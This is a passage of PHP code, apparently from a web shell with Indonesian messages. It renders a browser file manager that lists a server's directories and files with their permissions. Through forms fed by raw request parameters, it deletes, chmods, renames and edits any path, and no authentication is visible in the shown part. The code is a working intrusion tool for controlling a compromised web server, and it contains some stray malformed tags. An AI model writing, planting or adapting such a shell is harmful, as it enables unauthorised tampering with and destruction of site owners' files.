if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
if($_POST['type'] == 'dir'){
if(rmdir($_POST['path'])){
echo '<font color="green">Directory Terhapus</font><br/>';
}else{
echo '<font color="red">Directory Gagal Terhapus </font><br/>';
}
}elseif($_POST['type'] == 'file'){
if(unlink($_POST['path'])){
echo '<font color="green">File Terhapus</font><br/>';
}else{
echo '<font color="red">File Gagal Dihapus</font><br/>';
}
}
}
echo '</center>';
$scandir = scandir($path);
echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr class="first">
<td><center>Name</peller></center></td>
<td><center>Size</peller></center></td>
<td><center>Permission</peller></center></td>
<td><center>Modify</peller></center></td>
</tr>';
 
foreach($scandir as $dir){
if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
echo '<tr>
<td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
<td><center>--</center></td>
<td><center>';
if(is_writable($path.'/'.$dir)) echo '<font color="green">';
elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
echo perms($path.'/'.$dir);
if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
 
echo '</center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
</select>
<input type="hidden" name="type" value="dir">
<input type="hidden" name="name" value="'.$dir.'">
<input type="hidden" name="path" value="'.$path.'/'.$dir.'">
<input type="submit" value=">">
</form></center></td>
</tr>';
}
echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
foreach($scandir as $file){
if(!is_file($path.'/'.$file)) continue;
$size = filesize($path.'/'.$file)/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}
 
echo '<tr>
<td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
<td><center>'.$size.'</center></td>
<td><center>';
if(is_writable($path.'/'.$file)) echo '<font color="green">';
elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
echo perms($path.'/'.$file);
if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
echo '</center></td>
<td><center><form method="POST" action="?option&path='.$path.'">
<select name="opt">
<option value="">Select</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">
<input type="hidden" name="name" value="'.$file.'">
<input type="hidden" name="path" value="'.$path.'/'.$file.'">
<input type="submit" value=">">
</form></center></td>
</tr>';
}
echo '</table>
</div>';
}
echo '</body></html>';
function perms($file){
$perms = fileperms($file);
 
if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}
 
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
 
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
 
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
 
return $info;
}
?>